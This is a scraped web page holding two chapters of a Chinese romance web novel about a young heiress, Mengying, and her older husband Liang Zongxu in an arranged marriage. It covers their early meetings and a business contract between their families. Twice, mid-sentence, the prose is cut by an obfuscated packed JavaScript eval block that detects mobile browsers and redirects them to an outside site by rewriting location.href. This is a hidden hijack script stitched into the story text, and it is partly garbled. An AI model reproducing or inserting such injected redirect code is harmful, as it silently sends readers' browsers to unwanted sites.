《年上恋爱日记[先婚后爱]》 3. 好奇 梁宗叙没想到自己会睡着。 原本计划是睡前处理些琐事,然后等一等孟映。 看了眼腕表,就要过零点,他问孟映:“谁送你回来的?” “我自己开车啊。” 孟映觉得他大概还没睡醒,便说:“你要不回房间睡吧,睡这里容易着凉。” 梁宗叙:“......” 她以为他打喷嚏是因为什么。 他忽然笑了下。 孟映看着他。 他对站在面前认真打量他的孟映说:“明晚有空吗?” “怎么啦?”孟映在他身边坐下。 她挨得一点都不近,考虑到自己身上的香气,这会只是和他坐在一张沙发上而已。 梁宗叙没有立即说话。 他感觉自己脑子不好使。 老天爷,怎么会这么香,刚清醒的思绪对于周遭的一切分外敏锐—— 热闹馥郁的香水,在他身边好像炸开的沐浴球,五彩缤纷、眼花缭乱。书房暖气足,香气被烘得熏然,如同一股蓬勃又霸道的势力,肆意生长、漫无边际。 孟映瞧着他。 从梁秉松的葬礼,两人匆匆照面,到第一次正式见面、同一张桌上用餐,再到婚礼、现在,她一直都是这样一副细致打量他的神色。 她观察他,不仅是观察一个即将成为她丈夫的男人、一个已经成为他丈夫的男人,更多时候,梁宗叙觉得,她只是对他感到好奇,天然的、浓厚的好奇心—— 异性、相隔不少的年岁、迥然不同的家庭环境,和她姐不一样的处事风格,还有和她身边围绕的那群同龄人毫无一致的生活习惯,她通通都很好奇。 只要找到机会,她就会观察他,如同原住民观察栖居者,又好像栖居者观察原住民—— 说不清谁对这场“婚姻”更熟悉。 孟映记得第一次见面。 是去年梁秉松的葬礼。 年初的天气灰蒙蒙的,没下雨,她跟着妈妈和姐姐一早就过去了。 路上钱丽昀神色凝重,孟辉好几次同她耳语,她都不作声。 后排的孟映听到几句,孟辉强烈要求解除婚约,“大好的机会”,她斩钉截铁,在看到钱丽昀表情后,她又说:“人在、关系在,人没了,谈什么?” “谁能保证那些还能作数?梁宗叙?还是他梁长盛?” “要我说,今天去都不用去,直接摆明态度,梁家看不出来吗?” “趁现在协议还没定,没必要,妈——再给我点时间,等我把孟同丰和他儿子赶出去——” 钱丽昀让她坐到后面去。 孟映探头冲孟辉笑。 殡仪馆外已经聚了些人,黑漆漆的,她还看到了她姐夫,只是孟辉当没看见。 宋俨走过来,夫妻俩都不说话,并肩站着,好像一幅已经注册的logo。 看上去是夫妻,但靠近了,会觉得两人如同下属和上司的关系—— 当然她姐姐才是上司。 她说她去找妈妈,孟辉说去吧,又说不要乱跑,这句出口,宋俨就笑,说小姨子又不是高中生,大学都要毕业了—— 后面的话孟映没听到。 穿过一重重肃穆的人群,面前变得空旷,孟映看到钱丽昀,她背朝她,正同人说话。 孟映没有上前。 她站在边上,左右看了看。 然后就看到了梁宗叙。 他也在看她。 在她看见他之前,他好像就已经看见她了。 就是不知道什么时候,是她一路过来的时候,还是她站定的时候。 四目相对,孟映当然知道他是谁。 虽说是家族联姻,但又不是盲婚哑嫁,照片还是看过的。 再说了,梁秉松去世的新闻一出来,他梁宗叙接任久盛集团的照片就漫天飞了,偶尔也有几张她的照片,外界都在猜测这场婚事能否顺利进行。 他一身黑色西装,端正挺拔,没什么表情,身后是一群叔伯婶姨。 他的目光隔着穿梭的人群落在她身上,沉沉的,带着些许分量。 第一回见面,这样的场合,孟映朝他谨慎客气地点了点头,再抬头,前方一阵嘈杂,似乎有大人物要出来,场面混乱,等孟映再回头去望,梁宗叙已经不在原地。 后来的仪式,她站在母亲和姐姐身边,身后是匆匆赶来的孟同丰。 上前致哀的时候,她看到梁宗叙捧着梁秉松的黑白照片,她和母亲姐姐经过,听到他道了句“多谢”。 第二次见面,是在曲径通幽、古典雅致的熙园。 管家引她们母女三人进去,穿过绿意盎然的廊道、经过假山流水的花园——很难想象寸土寸金的京市会有这样一处广阔的世外桃源。 饶是做惯地产的孟家,看了也不免咂舌,钱丽昀说,这是老几辈攒下的家底。 梁家对这场婚事极尽重视,厅堂里好多人等她们母女三人。 静默无声。 梁宗叙就站在那位备受尊敬的长辈身边—— 梁长盛,久盛集团创始人。 白发人送黑发人,他的神情却没有显露出一丝悲痛,冷硬威严,注视人的眼神如同法相庄严的金刚,赫赫凛然。 梁家所有人都畏惧他,周围大气不敢喘的。 寒暄片刻,落座吃饭,他让梁宗叙坐到孟映身边,给她拣她爱吃的菜。 孟映愣住,梁宗叙一坐过来,她这边光线都暗不少。 看出她的不自在,梁宗叙没有多说什么,只是每样菜上桌他都会往一旁的瓷碟里给孟映夹一筷,孟映“谢谢”都说累了,也不见他停手—— 她都怀疑他是真听他爷爷的话,还是特别喜欢给人夹菜。 她对梁宗叙说:“不要了。” 餐桌上谈话声交错,杯盘碰撞、筷碟轻敲,梁宗叙没听见。 孟映抬头看着他,又说了遍“不要了”。 两人对视,梁宗叙盯着她的嘴唇,辨别不出她的意思,下意识靠近,问:“什么?” 他的声音很克制,距离控制得也很好,只是过于成熟的男性气息,压过来的影子都好像有十足的分量。 孟映低声:“夹太多了,我吃不掉,太浪费了。你不要给我夹了。谢谢你。” 梁宗叙思考了半秒她最后三个字的含义。 确定没有隐含的意思后,他将那碟摆到自己面前吃了。 冒进脑子的第一个念头,居然是他和她其实并没有太多代沟。 ——就像此刻她说给自己听的话,他也是听得懂的。 以后一个屋檐下生活,想来也不会太困难。 对面,瞧见两人耳语的梁长盛忽然笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233438|197629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着对孟映说:“小映不要拘束。想吃什么?有特别爱吃的吗?” 老人家笑起来有种很慈悲的面目,孟映就说都好吃的,一旁,孟辉伸手摸了摸她后脑的头发。 谈到先前定下的婚事,梁长盛说合同上的条款由钱丽昀安排,梁家看重孟家的关系,这门姻亲他很满意,希望钱丽昀不要客气,有什么要求尽管提。 话题这才切入正轨。 孟映坐在一边,听了会,就去看同样坐在对面的梁宗叙。 他听得比她认真。 集团的股份、地产的合作项目,连襟宋家那边的一杯羹,通通摆到台面,各家的权力、各家的利益,清清楚楚、明明白白。 钱丽昀也没客气,说起两人之后的协议,打算按照当初和宋家订的一样,五年为期—— 话一出口,梁长盛抬手止住。 他面上没有任何变化,但不知为何,没人再开口。 他缓缓看向孟映,发现孟映在看梁宗叙,不由微微笑了下,转头,他对钱丽昀说:“让年轻人自己决定吧。” “五年?” 他摆手,笑着道:“说不定明天就拆伙了。” 他一副玩笑语气,钱丽昀却没笑。 她转头同自己的长女对视,孟辉想的和她一样,母女二人同时看向还在一个劲打量梁家长子的孟映。 孟辉低声喊她:“小映!” 这一声也把垂眸的梁宗叙叫得抬头,就瞧孟映收回望着自己的目光转向自家姐姐,一张脸上神采奕奕,很是积极的样子,他听见她带着笑意的声音,小声凑过去问—— “怎么了姐姐?” 孟辉:“......” 梁宗叙就笑了下。 莫名其妙的。 现在想起来也觉得很莫名其妙。 ——就像那天,人群中隐约听见孟家来人了,他下意识去找一样。 第三次见面,就是婚礼。 宾客如云,声势浩大。 梁家根深叶茂,孟家母女三人实力雄厚,背后还有宋家的关系,一场婚宴觥筹交错,谈的都是生意,往来都是人情,台上一双璧人各自关照各自的家族,梁宗叙发现,孟映比上回见面更游刃有余些。 听说她大学毕业就帮家里做事了。 那段时间,最轰动的一件事,就是孟氏地产改名辉映大厦。 坊间关于这对姐妹的传闻变得不是很好。 孟映自己也知道,整场婚礼她都板着张脸,和他一样面无表情,后来全家福照片拍出来,挂在家里,孟映不大喜欢,每次路过都要皱一下眉,他就让管家撤下去了。 婚宴在酒店,婚房也在,久盛旗下最奢华的度假酒店,那一周都给了梁家办婚事。 她和她姐姐在婚房待到天亮,他在隔壁睡了一觉,下楼吃早餐的时候碰见姐妹二人,手挽着手,亲密无间。 她看上去睡得很好。 吃饭的时候过来和他说了几句话,梁宗叙看着她能说会道的样子,没有拒绝她提出的任何条件,什么不要一起睡觉、不要在公众面前露面——最重要的,不要管她。 他都说好。 孟映问他,你有什么要求吗? “放心吧,我也不会管你的。”她朝他笑。 梁宗叙说:“我没有。” 说完,他起身离开了餐桌。 4. 生意 他和她身上都肩负着责任。 内斗争权的孟家、暗流涌动的梁家,哪一家都不好过。 眼前这桩婚事不过是桥梁,过桥之后,目的地都不一样。 “明晚和我一起去熙园吃饭吧。” 孟映点头答应。 梁宗叙起身,临走,他又对孟映说:“设计院的合同大姐和我说了,你把合同给我就可以了。” 说到这个,孟映道:“你和我姐都说什么了?” 梁宗叙转身。 孟映抬头,微微蹙眉:“你怎么什么都说。” 梁宗叙回忆了下,觉得自己也没说什么,便问:“怎么了?” “我姐怎么知道我们很久没见了,肯定是你说的。” “我没有说我们很久没见了,我只是说我很久没看见你了,所以合同的事我不清楚。” 孟映没有说话。 她看着他,和往常一样,打量的、审视的,认真又仔细。 名义上也不过才结了一个月的婚,实际见面的次数一只手都数得过来,她对他不信任、有警惕,是理所应当的。 梁宗叙任她瞧。 想了想,他在她身边坐下,语气斟酌:“可能我表述有问题,下次不会了,你不要放心上。” “我没有告状的意思。” “也没有说你的不好。” 她小他那么多,心里介意的肯定和他不一样,他总归要多替她着想。 孟映感到满意,放松下肩膀,眼睛笑起来:“和我姐告我的状?说我的不好?” ——这实在滑稽。 看着她,梁宗叙也笑了下,没再说什么。 临走问孟映合同在哪里,他先看看。 孟映:“我包里,你去拿好了。” 梁宗叙就去拿了。 书房安静下来,孟映歪倒在沙发上,脑子里想了一阵明晚熙园的饭局,想起那位威严的老人,心底里不是很有主意。那次婚宴,看得出来,梁长盛把她当孙媳,态度也很好。孟辉说这老头精得很、千年的狐狸,不要被他骗了,小映,咱们还是一码归一码...... 脑子里一会一张严肃的老人面孔,一会姐姐的面孔,很快,她就在沙发上睡着了。 梁宗叙拿着合同进来的时候,她睡得很沉,毛茸茸的大衣裹着她,姣好的面容因为热气和睡意,熏出淡淡的绯红,她面朝里,金色的发丝披散在后背和脸颊,脚上搭着拖鞋,脚后跟露在外面,纤薄得仿佛一片雪瓷。 他伫立在旁看了她片刻。 时间已经很晚,其实可以抱她去她自己的房间好好睡,或者叫醒她,让她自己安排。 但是梁宗叙什么都没做。 他在一旁的书桌坐下,仔细看起合同。 香气还是很浓郁。 浮动的、氤氲的,像一片云,又好像湖泊,轻盈湿润。 合同看完,圈出一些他觉得不妥当的地方,备注之后,他放在了孟映手边。 关灯出去前,他让管家去她楼上的房间找来毯子,给她盖上后,他轻声掩门离开。 后半夜他没有睡着。 这很正常。梁宗叙想。 书房里那么些时间,她身上的气味早就沾上他了。 抛开其他,他的妻子实在漂亮。 更何况,虽然是温室里精心呵护出来的——她的母亲爱护她,她的姐姐一心为她谋算,但她也十分清醒,做事有分寸,认真细致,那份合同就能看出来。 想到最后,梁宗叙忽然想,她的脾气也很好。 他也不知道为什么会想到这一点,沙发上她问他对孟辉说了什么,那个时候他以为她不高兴,谁知道她后面还笑了下。 梁宗叙睁开眼。 心头莫名燥热,从床上坐起来,过了会,他下床给自己倒了杯水。 孟映一觉睡到下午。 醒过来的时候,后背一阵悬空,接着听到纸张落地的声音。 沙发上睡了整晚,腰酸背痛,捡起地上的合同,看清上面几处梁宗叙圈起的批注和修改意见,脑子里顿时就清明了。 来不及上楼洗澡,孟映坐在沙发上,披头散发,一行行看完了他所有的批注。 她神色专注,眉间习惯性蹙起,一双俏皮的杏眼就此变得格外有气势,仿佛什么都逃不开她的注目。 孟映发现,梁宗叙是一个对细节和流程要求十分严苛的人。 这份合同里的一些保证条款,他都给她另外做了补充说明,堪称滴水不漏。 他很成熟,三十四岁的成年男人,在偌大的家族集团里摸爬滚打,即便久盛在地产规划设计这块并不如辉映娴熟老道,但他的经验已经足以支撑他处理这些。 他的字迹也很好看—— 这个之前孟映就注意到了。 领证的时候,他站在她身边签字,挺拔利落的笔触,毫不拖泥带水。 这份合同已经很完善了,这也不是她经手的第一份合同。 大学毕业,她跟在孟辉身边打了很多下手,每一缕条款、每一点说明,她清楚背后的逻辑。 孟辉行事气魄非凡,项目到了她手底下,大开大合、效率至上。 她的姐姐从来不会顾忌太多,杀伐果断,该怎么样就怎么样,从不后悔、从不回头。 她也一直在向她学习。 但从手头这份合同看,梁宗叙的思路更温和,孟映甚至忍不住会想,是不是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233439|197629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份合同属于久盛和辉映,所以他才会...... 显得那么温情脉脉。 甚至可以说,他在照顾辉映。 洗澡的时候她还在琢磨。 她习惯孟辉的方式,不掺杂太多的私人情感,公事公办,但...... 最让她不明白的,是最后久盛和辉映各自分占的份额数据—— 他什么意思? 下楼用餐,孟映给孟辉打去视频。 合同一页页拍给孟辉看,她指着最后一页的数据,问孟辉:“姐姐,这是什么意思?” 孟辉不语。 不得不说,梁宗叙给的份额实在大方。 他是在示好? 还是......先礼后兵? 换做势利的宋家,还好猜些,但梁家,梁家讲情理—— 但这是哪里来的情和理? 好一会,孟辉对着面前捉摸不定的妹妹道:“既然他梁董这么大方,我们没有不笑纳的道理。” 孟映皱眉:“姐姐,生意不是这么做的。” 孟辉笑:“那你要去问梁宗叙了。” 她今天没有出门,吃完上楼补觉,睡到黄昏,梁宗叙回家接她一起去熙园吃饭。 路上她时不时看他。 到了地方,车停好,梁宗叙问怎么了。 孟映说:“最后的占比份额,是我和我姐姐一起商量出来的。” “很公平,对你对我、对久盛对辉映。” 车里光线昏暗,梁宗叙看着她,让她继续说下去。 “所以这个数据没问题。” 她同他对视,一副教导的语气:“梁宗叙,生意就是这么做的。” “不是谁让谁。” “不然下回怎么办?你要辉映还回来吗?” “那不行。”她还挺有原则。 他又笑了。 孟映想起那次来熙园吃饭,他也是这样,莫名其妙就笑了。 梁宗叙忽然问:“你很会做生意吗?” 孟映说:“我妈我姐姐会,她们教我很多,我还在学习。” 不知为何,她说完,他脸上的笑意更大了,看她的目光好像她很厉害似的。 孟映被他看得有点压力,她想起那部动画电影,《狮子王》,自己好像那只被捧起来的小狮子,万众瞩目——可梁宗叙为什么要这么看她? “确实”,他移开目光,看向车窗,“数据没问题,是门好生意。” “对你,对久盛——” “但我不能跟你讲生意。”转回头,他看着她说。 孟映一愣。 “为什么?”她问。 “因为你是我老婆。”他说。